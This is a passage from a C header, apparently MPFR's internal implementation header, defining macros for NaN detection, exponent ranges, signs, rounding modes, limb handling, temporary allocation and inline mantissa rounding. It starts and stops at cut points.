has been seen false, meaning NaNs are not detected. This seemed to
happen only after other comparisons, not sure what's really going on. In
any case we can pick apart the bytes to identify a NaN. */
#ifdef HAVE_LDOUBLE_IEEE_QUAD_BIG
# define LONGDOUBLE_NAN_ACTION(x, action) \
do { \
union { \
long double ld; \
struct { \
unsigned int sign : 1; \
unsigned int exp : 15; \
unsigned int man3 : 16; \
unsigned int man2 : 32; \
unsigned int man1 : 32; \
unsigned int man0 : 32; \
} s; \
} u; \
u.ld = (x); \
if (u.s.exp == 0x7FFFL \
&& (u.s.man0 | u.s.man1 | u.s.man2 | u.s.man3) != 0) \
{ action; } \
} while (0)
#endif
#ifdef HAVE_LDOUBLE_IEEE_QUAD_LITTLE
# define LONGDOUBLE_NAN_ACTION(x, action) \
do { \
union { \
long double ld; \
struct { \
unsigned int man0 : 32; \
unsigned int man1 : 32; \
unsigned int man2 : 32; \
unsigned int man3 : 16; \
unsigned int exp : 15; \
unsigned int sign : 1; \
} s; \
} u; \
u.ld = (x); \
if (u.s.exp == 0x7FFFL \
&& (u.s.man0 | u.s.man1 | u.s.man2 | u.s.man3) != 0) \
{ action; } \
} while (0)
#endif
/* Under IEEE rules, NaN is not equal to anything, including itself.
"volatile" here stops "cc" on mips64-sgi-irix6.5 from optimizing away
x!=x. */
#ifndef LONGDOUBLE_NAN_ACTION
# define LONGDOUBLE_NAN_ACTION(x, action) \
do { \
volatile long double __x = LONGDOUBLE_VOLATILE (x); \
if ((x) != __x) \
{ action; } \
} while (0)
# define WANT_LONGDOUBLE_VOLATILE 1
#endif
/* If we don't have a proper "volatile" then volatile is #defined to empty,
in this case call through an external function to stop the compiler
optimizing anything. */
#ifdef WANT_LONGDOUBLE_VOLATILE
# ifdef volatile
__MPFR_DECLSPEC long double __gmpfr_longdouble_volatile _MPFR_PROTO ((long double)) MPFR_CONST_ATTR;
# define LONGDOUBLE_VOLATILE(x) (__gmpfr_longdouble_volatile (x))
# define WANT_GMPFR_LONGDOUBLE_VOLATILE 1
# else
# define LONGDOUBLE_VOLATILE(x) (x)
# endif
#endif
/* Some special case for IEEE_EXT Litle Endian */
#if HAVE_LDOUBLE_IEEE_EXT_LITTLE
typedef union {
long double ld;
struct {
unsigned int manl : 32;
unsigned int manh : 32;
unsigned int expl : 8 ;
unsigned int exph : 7;
unsigned int sign : 1;
} s;
} mpfr_long_double_t;
/* #undef MPFR_LDBL_MANT_DIG */
#undef MPFR_LIMBS_PER_LONG_DOUBLE
/* #define MPFR_LDBL_MANT_DIG 64 */
#define MPFR_LIMBS_PER_LONG_DOUBLE ((64-1)/GMP_NUMB_BITS+1)
#endif
/******************************************************
*************** _Decimal64 support *******************
******************************************************/
#ifdef MPFR_WANT_DECIMAL_FLOATS
/* to cast between binary64 and decimal64 */
union ieee_double_decimal64 { double d; _Decimal64 d64; };
#endif
/******************************************************
**************** mpfr_t properties *******************
******************************************************/
#define MPFR_PREC(x) ((x)->_mpfr_prec)
#define MPFR_EXP(x) ((x)->_mpfr_exp)
#define MPFR_MANT(x) ((x)->_mpfr_d)
#define MPFR_LIMB_SIZE(x) ((MPFR_PREC((x))-1)/GMP_NUMB_BITS+1)
/******************************************************
**************** exponent properties *****************
******************************************************/
/* Limits of the mpfr_exp_t type (NOT those of valid exponent values).
These macros can be used in preprocessor directives. */
#if _MPFR_EXP_FORMAT == 1
# define MPFR_EXP_MAX (SHRT_MAX)
# define MPFR_EXP_MIN (SHRT_MIN)
#elif _MPFR_EXP_FORMAT == 2
# define MPFR_EXP_MAX (INT_MAX)
# define MPFR_EXP_MIN (INT_MIN)
#elif _MPFR_EXP_FORMAT == 3
# define MPFR_EXP_MAX (LONG_MAX)
# define MPFR_EXP_MIN (LONG_MIN)
#elif _MPFR_EXP_FORMAT == 4
# define MPFR_EXP_MAX (MPFR_INTMAX_MAX)
# define MPFR_EXP_MIN (MPFR_INTMAX_MIN)
#else
# error "Invalid MPFR Exp format"
#endif
/* Before doing a cast to mpfr_uexp_t, make sure that the value is
nonnegative. */
#define MPFR_UEXP(X) (MPFR_ASSERTD ((X) >= 0), (mpfr_uexp_t) (X))
#if MPFR_EXP_MIN >= LONG_MIN && MPFR_EXP_MAX <= LONG_MAX
typedef long int mpfr_eexp_t;
# define mpfr_get_exp_t(x,r) mpfr_get_si((x),(r))
# define mpfr_set_exp_t(x,e,r) mpfr_set_si((x),(e),(r))
# define MPFR_EXP_FSPEC "l"
#elif defined (_MPFR_H_HAVE_INTMAX_T)
typedef intmax_t mpfr_eexp_t;
# define mpfr_get_exp_t(x,r) mpfr_get_sj((x),(r))
# define mpfr_set_exp_t(x,e,r) mpfr_set_sj((x),(e),(r))
# define MPFR_EXP_FSPEC "j"
#else
# error "Cannot define mpfr_get_exp_t and mpfr_set_exp_t"
#endif
/* Invalid exponent value (to track bugs...) */
#define MPFR_EXP_INVALID \
((mpfr_exp_t) 1 << (GMP_NUMB_BITS*sizeof(mpfr_exp_t)/sizeof(mp_limb_t)-2))
/* Definition of the exponent limits for MPFR numbers.
* These limits are chosen so that if e is such an exponent, then 2e-1 and
* 2e+1 are representable. This is useful for intermediate computations,
* in particular the multiplication.
*/
#undef MPFR_EMIN_MIN
#undef MPFR_EMIN_MAX
#undef MPFR_EMAX_MIN
#undef MPFR_EMAX_MAX
#define MPFR_EMIN_MIN (1-MPFR_EXP_INVALID)
#define MPFR_EMIN_MAX (MPFR_EXP_INVALID-1)
#define MPFR_EMAX_MIN (1-MPFR_EXP_INVALID)
#define MPFR_EMAX_MAX (MPFR_EXP_INVALID-1)
/* Use MPFR_GET_EXP and MPFR_SET_EXP instead of MPFR_EXP directly,
unless when the exponent may be out-of-range, for instance when
setting the exponent before calling mpfr_check_range.
MPFR_EXP_CHECK is defined when WANT_ASSERT is defined, but if you
don't use WANT_ASSERT (for speed reasons), you can still define
MPFR_EXP_CHECK by setting -DMPFR_EXP_CHECK in $CFLAGS. */
#ifdef MPFR_EXP_CHECK
# define MPFR_GET_EXP(x) (mpfr_get_exp) (x)
# define MPFR_SET_EXP(x, exp) MPFR_ASSERTN (!mpfr_set_exp ((x), (exp)))
# define MPFR_SET_INVALID_EXP(x) ((void) (MPFR_EXP (x) = MPFR_EXP_INVALID))
#else
# define MPFR_GET_EXP(x) MPFR_EXP (x)
# define MPFR_SET_EXP(x, exp) ((void) (MPFR_EXP (x) = (exp)))
# define MPFR_SET_INVALID_EXP(x) ((void) 0)
#endif
/******************************************************
********** Singular Values (NAN, INF, ZERO) **********
******************************************************/
/* Enum special value of exponent. */
# define MPFR_EXP_ZERO (MPFR_EXP_MIN+1)
# define MPFR_EXP_NAN (MPFR_EXP_MIN+2)
# define MPFR_EXP_INF (MPFR_EXP_MIN+3)
#define MPFR_IS_NAN(x) (MPFR_EXP(x) == MPFR_EXP_NAN)
#define MPFR_SET_NAN(x) (MPFR_EXP(x) = MPFR_EXP_NAN)
#define MPFR_IS_INF(x) (MPFR_EXP(x) == MPFR_EXP_INF)
#define MPFR_SET_INF(x) (MPFR_EXP(x) = MPFR_EXP_INF)
#define MPFR_IS_ZERO(x) (MPFR_EXP(x) == MPFR_EXP_ZERO)
#define MPFR_SET_ZERO(x) (MPFR_EXP(x) = MPFR_EXP_ZERO)
#define MPFR_NOTZERO(x) (MPFR_EXP(x) != MPFR_EXP_ZERO)
#define MPFR_IS_FP(x) (!MPFR_IS_NAN(x) && !MPFR_IS_INF(x))
#define MPFR_IS_SINGULAR(x) (MPFR_EXP(x) <= MPFR_EXP_INF)
#define MPFR_IS_PURE_FP(x) (!MPFR_IS_SINGULAR(x) && \
(MPFR_ASSERTD (MPFR_MANT(x)[MPFR_LIMB_SIZE(x)-1] & MPFR_LIMB_HIGHBIT), 1))
#define MPFR_ARE_SINGULAR(x,y) \
(MPFR_UNLIKELY(MPFR_IS_SINGULAR(x)) || MPFR_UNLIKELY(MPFR_IS_SINGULAR(y)))
#define MPFR_IS_POWER_OF_2(x) \
(mpfr_cmp_ui_2exp ((x), 1, MPFR_GET_EXP (x) - 1) == 0)
/******************************************************
********************* Sign Macros ********************
******************************************************/
#define MPFR_SIGN_POS (1)
#define MPFR_SIGN_NEG (-1)
#define MPFR_IS_STRICTPOS(x) (MPFR_NOTZERO((x)) && MPFR_SIGN(x) > 0)
#define MPFR_IS_STRICTNEG(x) (MPFR_NOTZERO((x)) && MPFR_SIGN(x) < 0)
#define MPFR_IS_NEG(x) (MPFR_SIGN(x) < 0)
#define MPFR_IS_POS(x) (MPFR_SIGN(x) > 0)
#define MPFR_SET_POS(x) (MPFR_SIGN(x) = MPFR_SIGN_POS)
#define MPFR_SET_NEG(x) (MPFR_SIGN(x) = MPFR_SIGN_NEG)
#define MPFR_CHANGE_SIGN(x) (MPFR_SIGN(x) = -MPFR_SIGN(x))
#define MPFR_SET_SAME_SIGN(x, y) (MPFR_SIGN(x) = MPFR_SIGN(y))
#define MPFR_SET_OPPOSITE_SIGN(x, y) (MPFR_SIGN(x) = -MPFR_SIGN(y))
#define MPFR_ASSERT_SIGN(s) \
(MPFR_ASSERTD((s) == MPFR_SIGN_POS || (s) == MPFR_SIGN_NEG))
#define MPFR_SET_SIGN(x, s) \
(MPFR_ASSERT_SIGN(s), MPFR_SIGN(x) = s)
#define MPFR_IS_POS_SIGN(s1) (s1 > 0)
#define MPFR_IS_NEG_SIGN(s1) (s1 < 0)
#define MPFR_MULT_SIGN(s1, s2) ((s1) * (s2))
/* Transform a sign to 1 or -1 */
#define MPFR_FROM_SIGN_TO_INT(s) (s)
#define MPFR_INT_SIGN(x) MPFR_FROM_SIGN_TO_INT(MPFR_SIGN(x))
/******************************************************
***************** Ternary Value Macros ***************
******************************************************/
/* Special inexact value */
#define MPFR_EVEN_INEX 2
/* Macros for functions returning two inexact values in an 'int' */
#define INEXPOS(y) ((y) == 0 ? 0 : (((y) > 0) ? 1 : 2))
#define INEX(y,z) (INEXPOS(y) | (INEXPOS(z) << 2))
/* When returning the ternary inexact value, ALWAYS use one of the
following two macros, unless the flag comes from another function
returning the ternary inexact value */
#define MPFR_RET(I) return \
(I) ? ((__gmpfr_flags |= MPFR_FLAGS_INEXACT), (I)) : 0
#define MPFR_RET_NAN return (__gmpfr_flags |= MPFR_FLAGS_NAN), 0
#define MPFR_SET_ERANGE() (__gmpfr_flags |= MPFR_FLAGS_ERANGE)
#define SIGN(I) ((I) < 0 ? -1 : (I) > 0)
#define SAME_SIGN(I1,I2) (SIGN (I1) == SIGN (I2))
/******************************************************
************** Rounding mode macros *****************
******************************************************/
/* MPFR_RND_MAX gives the number of supported rounding modes by all functions.
* Once faithful rounding is implemented, MPFR_RNDA should be changed
* to MPFR_RNDF. But this will also require more changes in the tests.
*/
#define MPFR_RND_MAX ((mpfr_rnd_t)((MPFR_RNDA)+1))
/* We want to test this :
* (rnd == MPFR_RNDU && test) || (rnd == RNDD && !test)
* ie it transforms RNDU or RNDD to Away or Zero according to the sign */
#define MPFR_IS_RNDUTEST_OR_RNDDNOTTEST(rnd, test) \
(((rnd) + (test)) == MPFR_RNDD)
/* We want to test if rnd = Zero, or Away.
'test' is 1 if negative, and 0 if positive. */
#define MPFR_IS_LIKE_RNDZ(rnd, test) \
((rnd==MPFR_RNDZ) || MPFR_IS_RNDUTEST_OR_RNDDNOTTEST (rnd, test))
#define MPFR_IS_LIKE_RNDU(rnd, sign) \
((rnd==MPFR_RNDU) || (rnd==MPFR_RNDZ && sign<0) || (rnd==MPFR_RNDA && sign>0))
#define MPFR_IS_LIKE_RNDD(rnd, sign) \
((rnd==MPFR_RNDD) || (rnd==MPFR_RNDZ && sign>0) || (rnd==MPFR_RNDA && sign<0))
/* Invert a rounding mode, RNDZ and RNDA are unchanged */
#define MPFR_INVERT_RND(rnd) ((rnd == MPFR_RNDU) ? MPFR_RNDD : \
((rnd == MPFR_RNDD) ? MPFR_RNDU : rnd))
/* Transform RNDU and RNDD to RNDZ according to test */
#define MPFR_UPDATE_RND_MODE(rnd, test) \
do { \
if (MPFR_UNLIKELY(MPFR_IS_RNDUTEST_OR_RNDDNOTTEST(rnd, test))) \
rnd = MPFR_RNDZ; \
} while (0)
/* Transform RNDU and RNDD to RNDZ or RNDA according to sign,
leave the other modes unchanged */
#define MPFR_UPDATE2_RND_MODE(rnd, sign) \
do { \
if (rnd == MPFR_RNDU) \
rnd = (sign > 0) ? MPFR_RNDA : MPFR_RNDZ; \
else if (rnd == MPFR_RNDD) \
rnd = (sign < 0) ? MPFR_RNDA : MPFR_RNDZ; \
} while (0)
/******************************************************
******************* Limb Macros **********************
******************************************************/
/* Definition of MPFR_LIMB_HIGHBIT */
#if defined(GMP_LIMB_HIGHBIT)
# define MPFR_LIMB_HIGHBIT GMP_LIMB_HIGHBIT
#elif defined(MP_LIMB_T_HIGHBIT)
# define MPFR_LIMB_HIGHBIT MP_LIMB_T_HIGHBIT
#else
# error "Neither GMP_LIMB_HIGHBIT nor MP_LIMB_T_HIGHBIT defined in GMP"
#endif
/* Mask to get the Most Significant Bit of a limb */
#define MPFR_LIMB_MSB(l) ((l)&MPFR_LIMB_HIGHBIT)
/* Definition of MPFR_LIMB_ONE & MPFR_LIMB_ZERO */
#ifdef CNST_LIMB
# define MPFR_LIMB_ONE CNST_LIMB(1)
# define MPFR_LIMB_ZERO CNST_LIMB(0)
#else
# define MPFR_LIMB_ONE ((mp_limb_t) 1L)
# define MPFR_LIMB_ZERO ((mp_limb_t) 0L)
#endif
/* Mask for the low 's' bits of a limb */
#define MPFR_LIMB_MASK(s) ((MPFR_LIMB_ONE<<(s))-MPFR_LIMB_ONE)
/******************************************************
********************** Memory ************************
******************************************************/
/* Heap Memory gestion */
typedef union { mp_size_t s; mp_limb_t l; } mpfr_size_limb_t;
#define MPFR_GET_ALLOC_SIZE(x) \
( ((mp_size_t*) MPFR_MANT(x))[-1] + 0)
#define MPFR_SET_ALLOC_SIZE(x, n) \
( ((mp_size_t*) MPFR_MANT(x))[-1] = n)
#define MPFR_MALLOC_SIZE(s) \
( sizeof(mpfr_size_limb_t) + BYTES_PER_MP_LIMB * ((size_t) s) )
#define MPFR_SET_MANT_PTR(x,p) \
(MPFR_MANT(x) = (mp_limb_t*) ((mpfr_size_limb_t*) p + 1))
#define MPFR_GET_REAL_PTR(x) \
((mp_limb_t*) ((mpfr_size_limb_t*) MPFR_MANT(x) - 1))
/* Temporary memory gestion */
#ifndef TMP_SALLOC
/* GMP 4.1.x or below or internals */
#define MPFR_TMP_DECL TMP_DECL
#define MPFR_TMP_MARK TMP_MARK
#define MPFR_TMP_ALLOC TMP_ALLOC
#define MPFR_TMP_FREE TMP_FREE
#else
#define MPFR_TMP_DECL(x) TMP_DECL
#define MPFR_TMP_MARK(x) TMP_MARK
#define MPFR_TMP_ALLOC(s) TMP_ALLOC(s)
#define MPFR_TMP_FREE(x) TMP_FREE
#endif
/* This code is experimental: don't use it */
#ifdef MPFR_USE_OWN_MPFR_TMP_ALLOC
extern unsigned char *mpfr_stack;
#undef MPFR_TMP_DECL
#undef MPFR_TMP_MARK
#undef MPFR_TMP_ALLOC
#undef MPFR_TMP_FREE
#define MPFR_TMP_DECL(_x) unsigned char *(_x)
#define MPFR_TMP_MARK(_x) ((_x) = mpfr_stack)
#define MPFR_TMP_ALLOC(_s) (mpfr_stack += (_s), mpfr_stack - (_s))
#define MPFR_TMP_FREE(_x) (mpfr_stack = (_x))
#endif
#define MPFR_TMP_LIMBS_ALLOC(N) \
((mp_limb_t *) MPFR_TMP_ALLOC ((size_t) (N) * BYTES_PER_MP_LIMB))
/* temporary allocate 1 limb at xp, and initialize mpfr variable x */
/* The temporary var doesn't have any size field, but it doesn't matter
* since only functions dealing with the Heap care about it */
#define MPFR_TMP_INIT1(xp, x, p) \
( MPFR_PREC(x) = (p), \
MPFR_MANT(x) = (xp), \
MPFR_SET_POS(x), \
MPFR_SET_INVALID_EXP(x))
#define MPFR_TMP_INIT(xp, x, p, s) \
(xp = MPFR_TMP_LIMBS_ALLOC(s), \
MPFR_TMP_INIT1(xp, x, p))
#define MPFR_TMP_INIT_ABS(d, s) \
( MPFR_PREC(d) = MPFR_PREC(s), \
MPFR_MANT(d) = MPFR_MANT(s), \
MPFR_SET_POS(d), \
MPFR_EXP(d) = MPFR_EXP(s))
/******************************************************
***************** Cache macros **********************
******************************************************/
#define mpfr_const_pi(_d,_r) mpfr_cache(_d, __gmpfr_cache_const_pi,_r)
#define mpfr_const_log2(_d,_r) mpfr_cache(_d, __gmpfr_cache_const_log2, _r)
#define mpfr_const_euler(_d,_r) mpfr_cache(_d, __gmpfr_cache_const_euler, _r)
#define mpfr_const_catalan(_d,_r) mpfr_cache(_d,__gmpfr_cache_const_catalan,_r)
#define MPFR_DECL_INIT_CACHE(_cache,_func) \
mpfr_cache_t MPFR_THREAD_ATTR _cache = \
{{{{0,MPFR_SIGN_POS,0,(mp_limb_t*)0}},0,_func}}
/******************************************************
******************* Threshold ***********************
******************************************************/
#include "mparam.h"
/******************************************************
***************** Useful macros *********************
******************************************************/
/* Theses macros help the compiler to determine if a test is
likely or unlikely. The !! is necessary in case x is larger
than a long. */
#if __MPFR_GNUC(3,0) || __MPFR_ICC(8,1,0)
# define MPFR_LIKELY(x) (__builtin_expect(!!(x),1))
# define MPFR_UNLIKELY(x) (__builtin_expect(!!(x),0))
#else
# define MPFR_LIKELY(x) (x)
# define MPFR_UNLIKELY(x) (x)
#endif
/* Declare that some variable is initialized before being used (without a
dummy initialization) in order to avoid some compiler warnings. Use the
VAR = VAR trick (see http://gcc.gnu.org/bugzilla/show_bug.cgi?id=36296)
only with gcc as this is undefined behavior, and we don't know what
other compilers do (they may also be smarter). This trick could be
disabled with future gcc versions. */
#if defined(__GNUC__)
# define INITIALIZED(VAR) VAR = VAR
#else
# define INITIALIZED(VAR) VAR
#endif
/* Ceil log 2: If GCC, uses a GCC extension, otherwise calls a function */
/* Warning:
* Needs to define MPFR_NEED_LONGLONG.
* Computes ceil(log2(x)) only for x integer (unsigned long)
* Undefined if x is 0 */
#if __MPFR_GNUC(2,95) || __MPFR_ICC(8,1,0)
# define MPFR_INT_CEIL_LOG2(x) \
(MPFR_UNLIKELY ((x) == 1) ? 0 : \
__extension__ ({ int _b; mp_limb_t _limb; \
MPFR_ASSERTN ((x) > 1); \
_limb = (x) - 1; \
MPFR_ASSERTN (_limb == (x) - 1); \
count_leading_zeros (_b, _limb); \
(GMP_NUMB_BITS - _b); }))
#else
# define MPFR_INT_CEIL_LOG2(x) (__gmpfr_int_ceil_log2(x))
#endif
/* Add two integers with overflow handling */
/* Example: MPFR_SADD_OVERFLOW (c, a, b, long, unsigned long,
* LONG_MIN, LONG_MAX,
* goto overflow, goto underflow); */
#define MPFR_UADD_OVERFLOW(c,a,b,ACTION_IF_OVERFLOW) \
do { \
(c) = (a) + (b); \
if ((c) < (a)) ACTION_IF_OVERFLOW; \
} while (0)
#define MPFR_SADD_OVERFLOW(c,a,b,STYPE,UTYPE,MIN,MAX,ACTION_IF_POS_OVERFLOW,ACTION_IF_NEG_OVERFLOW) \
do { \
if ((a) >= 0 && (b) >= 0) { \
UTYPE uc,ua,ub; \
ua = (UTYPE) (a); ub = (UTYPE) (b); \
MPFR_UADD_OVERFLOW (uc, ua, ub, ACTION_IF_POS_OVERFLOW); \
if (uc > (UTYPE)(MAX)) ACTION_IF_POS_OVERFLOW; \
else (c) = (STYPE) uc; \
} else if ((a) < 0 && (b) < 0) { \
UTYPE uc,ua,ub; \
ua = -(UTYPE) (a); ub = -(UTYPE) (b); \
MPFR_UADD_OVERFLOW (uc, ua, ub, ACTION_IF_NEG_OVERFLOW); \
if (uc >= -(UTYPE)(MIN) || uc > (UTYPE)(MAX)) { \
if (uc == -(UTYPE)(MIN)) (c) = (MIN); \
else ACTION_IF_NEG_OVERFLOW; } \
else (c) = -(STYPE) uc; \
} else (c) = (a) + (b); \
} while (0)
/* Set a number to 1 (Fast) - It doesn't check if 1 is in the exponent range */
#define MPFR_SET_ONE(x) \
do { \
mp_size_t _size = MPFR_LIMB_SIZE(x) - 1; \
MPFR_SET_POS(x); \
MPFR_EXP(x) = 1; \
MPN_ZERO ( MPFR_MANT(x), _size); \
MPFR_MANT(x)[_size] = MPFR_LIMB_HIGHBIT; \
} while (0)
/* Compute s = (-a) % GMP_NUMB_BITS as unsigned */
#define MPFR_UNSIGNED_MINUS_MODULO(s, a) \
do \
{ \
if (IS_POW2 (GMP_NUMB_BITS)) \
(s) = (- (unsigned int) (a)) % GMP_NUMB_BITS; \
else \
{ \
(s) = (a) % GMP_NUMB_BITS; \
if ((s) != 0) \
(s) = GMP_NUMB_BITS - (s); \
} \
MPFR_ASSERTD ((s) >= 0 && (s) < GMP_NUMB_BITS); \
} \
while (0)
/* Use it only for debug reasons */
/* MPFR_TRACE (operation) : execute operation iff DEBUG flag is set */
/* MPFR_DUMP (x) : print x (a mpfr_t) on stdout */
#ifdef DEBUG
# define MPFR_TRACE(x) x
#else
# define MPFR_TRACE(x) (void) 0
#endif
#define MPFR_DUMP(x) ( printf(#x"="), mpfr_dump(x) )
/* Test if X (positive) is a power of 2 */
#define IS_POW2(X) (((X) & ((X) - 1)) == 0)
#define NOT_POW2(X) (((X) & ((X) - 1)) != 0)
/* Safe absolute value (to avoid possible integer overflow) */
/* type is the target (unsigned) type */
#define SAFE_ABS(type,x) ((x) >= 0 ? (type)(x) : -(type)(x))
#define mpfr_get_d1(x) mpfr_get_d(x,__gmpfr_default_rounding_mode)
/* Store in r the size in bits of the mpz_t z */
#define MPFR_MPZ_SIZEINBASE2(r, z) \
do { \
int _cnt; \
mp_size_t _size; \
MPFR_ASSERTD (mpz_sgn (z) != 0); \
_size = ABSIZ(z); \
count_leading_zeros (_cnt, PTR(z)[_size-1]); \
(r) = _size * GMP_NUMB_BITS - _cnt; \
} while (0)
/* Needs <locale.h> */
#ifdef HAVE_LOCALE_H
#include <locale.h>
/* Warning! In case of signed char, the value of MPFR_DECIMAL_POINT may
be negative (the ISO C99 does not seem to forbid negative values). */
#define MPFR_DECIMAL_POINT (localeconv()->decimal_point[0])
#define MPFR_THOUSANDS_SEPARATOR (localeconv()->thousands_sep[0])
#else
#define MPFR_DECIMAL_POINT ((char) '.')
#define MPFR_THOUSANDS_SEPARATOR ('\0')
#endif
/* Set y to s*significand(x)*2^e, for example MPFR_ALIAS(y,x,1,MPFR_EXP(x))
sets y to |x|, and MPFR_ALIAS(y,x,MPFR_SIGN(x),0) sets y to x*2^f such
that 1/2 <= |y| < 1. Does not check y is in the valid exponent range.
WARNING! x and y share the same mantissa. So, some operations are
not valid if x has been provided via an argument, e.g., trying to
modify the mantissa of y, even temporarily, or calling mpfr_clear on y.
*/
#define MPFR_ALIAS(y,x,s,e) \
do \
{ \
MPFR_PREC(y) = MPFR_PREC(x); \
MPFR_SIGN(y) = (s); \
MPFR_EXP(y) = (e); \
MPFR_MANT(y) = MPFR_MANT(x); \
} while (0)
/******************************************************
************** Save exponent macros ****************
******************************************************/
/* See README.dev for details on how to use the macros.
They are used to set the exponent range to the maximum
temporarily */
typedef struct {
unsigned int saved_flags;
mpfr_exp_t saved_emin;
mpfr_exp_t saved_emax;
} mpfr_save_expo_t;
/* Minimum and maximum exponents of the extended exponent range. */
#define MPFR_EXT_EMIN MPFR_EMIN_MIN
#define MPFR_EXT_EMAX MPFR_EMAX_MAX
#define MPFR_SAVE_EXPO_DECL(x) mpfr_save_expo_t x
#define MPFR_SAVE_EXPO_MARK(x) \
((x).saved_flags = __gmpfr_flags, \
(x).saved_emin = __gmpfr_emin, \
(x).saved_emax = __gmpfr_emax, \
__gmpfr_emin = MPFR_EXT_EMIN, \
__gmpfr_emax = MPFR_EXT_EMAX)
#define MPFR_SAVE_EXPO_FREE(x) \
(__gmpfr_flags = (x).saved_flags, \
__gmpfr_emin = (x).saved_emin, \
__gmpfr_emax = (x).saved_emax)
#define MPFR_SAVE_EXPO_UPDATE_FLAGS(x, flags) \
(x).saved_flags |= (flags)
/* Speed up final checking */
#define mpfr_check_range(x,t,r) \
(MPFR_LIKELY (MPFR_EXP (x) >= __gmpfr_emin && MPFR_EXP (x) <= __gmpfr_emax) \
? ((t) ? (__gmpfr_flags |= MPFR_FLAGS_INEXACT, (t)) : 0) \
: mpfr_check_range(x,t,r))
/******************************************************
***************** Inline Rounding *******************
******************************************************/
/*
* Note: due to the labels, one cannot use a macro MPFR_RNDRAW* more than
* once in a function (otherwise these labels would not be unique).
*/
/*
* Round mantissa (srcp, sprec) to mpfr_t dest using rounding mode rnd
* assuming dest's sign is sign.
* In rounding to nearest mode, execute MIDDLE_HANDLER when the value
* is the middle of two consecutive numbers in dest precision.
* Execute OVERFLOW_HANDLER in case of overflow when rounding.
*/
#define MPFR_RNDRAW_GEN(inexact, dest, srcp, sprec, rnd, sign, \
MIDDLE_HANDLER, OVERFLOW_HANDLER) \
do { \
mp_size_t _dests, _srcs; \
mp_limb_t *_destp; \
mpfr_prec_t _destprec, _srcprec; \
\
/* Check Trivial Case when Dest Mantissa has more bits than source */ \
_srcprec = (sprec); \
_destprec = MPFR_PREC (dest); \
_destp = MPFR_MANT (dest); \
if (MPFR_UNLIKELY (_destprec >= _srcprec)) \
{ \
_srcs = (_srcprec + GMP_NUMB_BITS-1)/GMP_NUMB_BITS; \
_dests = (_destprec + GMP_NUMB_BITS-1)/GMP_NUMB_BITS - _srcs; \
MPN_COPY (_destp + _dests, srcp, _srcs); \
MPN_ZERO (_destp, _dests); \
inexact = 0; \
} \
else \
{ \
/* Non trivial case: rounding needed */ \
mpfr_prec_t _sh; \
mp_limb_t *_sp; \
mp_limb_t _rb, _sb, _ulp; \
\
/* Compute Position and shift */ \
_srcs = (_srcprec + GMP_NUMB_BITS-1)/GMP_NUMB_BITS; \
_dests = (_destprec + GMP_NUMB_BITS-1)/GMP_NUMB_BITS; \
MPFR_UNSIGNED_MINUS_MODULO (_sh, _destprec); \
_sp = (srcp) + _srcs - _dests; \
\
/* General case when prec % GMP_NUMB_BITS != 0 */ \
if (MPFR_LIKELY (_sh != 0)) \
{ \
mp_limb_t _mask; \
/* Compute Rounding Bit and Sticky Bit */ \
/* Note: in directed rounding modes, if the rounding bit */ \
/* is 1, the behavior does not depend on the sticky bit; */ \
/* thus we will not try to compute it in this case (this */ \
/* can be much faster and avoids to read uninitialized */ \
/* data in the current mpfr_mul implementation). We just */ \
/* make sure that _sb is initialized. */ \
_mask = MPFR_LIMB_ONE << (_sh - 1); \
_rb = _sp[0] & _mask; \
_sb = _sp[0] & (_mask - 1); \
if (MPFR_UNLIKELY (_sb == 0) && \
((rnd) == MPFR_RNDN || _rb == 0)) \
{ /* TODO: Improve it */ \
mp_limb_t *_tmp; \
mp_size_t _n; \
for (_tmp = _sp, _n = _srcs - _dests ; \
_n != 0 && _sb == 0 ; _n--) \
_sb = *--_tmp; \
} \
_ulp = 2 * _mask; \
} \
else /* _sh == 0 */ \
{ \
MPFR_ASSERTD (_dests < _srcs); \
/* Compute Rounding Bit and Sticky Bit - see note above */ \
_rb = _sp[-1] & MPFR_LIMB_HIGHBIT; \
_sb = _sp[-1] & (MPFR_LIMB_HIGHBIT-1); \
if (MPFR_UNLIKELY (_sb == 0) && \
((rnd) == MPFR_RNDN || _rb == 0)) \
{ \
mp_limb_t *_tmp; \
mp_size_t _n; \
for (_tmp = _sp - 1, _n = _srcs - _dests - 1 ; \
_n != 0 && _sb == 0 ; _n--) \
_sb = *--_tmp; \
} \
_ulp = MPFR_LIMB_ONE; \
} \
/* Rounding */ \
if (MPFR_LIKELY (rnd == MPFR_RNDN)) \
{ \
if (_rb == 0) \
{ \
trunc: \
inexact = MPFR_LIKELY ((_sb | _rb) != 0) ? -sign : 0; \
trunc_doit: \
MPN_COPY (_destp, _sp, _dests); \
_destp[0] &= ~(_ulp - 1); \
} \
else if (MPFR_UNLIKELY (_sb == 0)) \
{ /* Middle of two consecutive representable numbers */ \
MIDDLE_HANDLER; \
} \
else \
{ \
if (0) \
goto addoneulp_doit; /* dummy code to avoid warning */ \
addoneulp: \
inexact = sign; \
addoneulp_doit: \
if (MPFR_UNLIKELY (mpn_add_1 (_destp, _sp, _dests, _ulp))) \
{ \
_destp[_dests - 1] = MPFR_LIMB_HIGHBIT; \
OVERFLOW_HANDLER; \
} \
_destp[0] &= ~(_ulp - 1); \
} \
} \
else \
{ /* Directed rounding mode */ \
if (MPFR_LIKELY (MPFR_IS_LIKE_RNDZ (rnd, \
MPFR_IS_NEG_SIGN (sign)))) \
goto trunc; \
else if (MPFR_UNLIKELY ((_sb | _rb) == 0)) \
{ \
inexact = 0; \
goto trunc_doit; \
} \
else \
goto addoneulp; \
} \
} \
} while (0)
/*
* Round mantissa (srcp, sprec) to mpfr_t dest using rounding mode rnd
* assuming dest's sign is sign.
* Execute OVERFLOW_HANDLER in case of overflow when rounding.
*/
#define MPFR_RNDRAW(inexact, dest, srcp, sprec, rnd, sign, OVERFLOW_HANDLER) \
MPFR_RNDRAW_GEN (inexact, dest, srcp, sprec, rnd, sign, \
if ((_sp[0] & _ulp) == 0) \
{ \
inexact = -sign; \
goto trunc_doit; \
} \
else \
goto addoneulp; \
, OVERFLOW_HANDLER)
/*
* Round mantissa (srcp, sprec) to mpfr_t dest using rounding mode rnd
* assuming dest's sign is sign.
* Execute OVERFLOW_HANDLER in case of overflow when rounding.
* Set inexact to +/- MPFR_EVEN_INEX in case of even rounding.
*/
#define MPFR_RNDRAW_EVEN(inexact, dest, srcp, sprec, rnd, sign, \
OVERFLOW_HANDLER) \
MPFR_RNDRAW_GEN (inexact, dest, srcp, sprec, rnd, sign, \
if ((_sp[0] & _ulp) == 0) \
{ \
inexact = -MPFR_EVEN_INEX * sign; \
goto trunc_doit; \
} \
else \
{ \
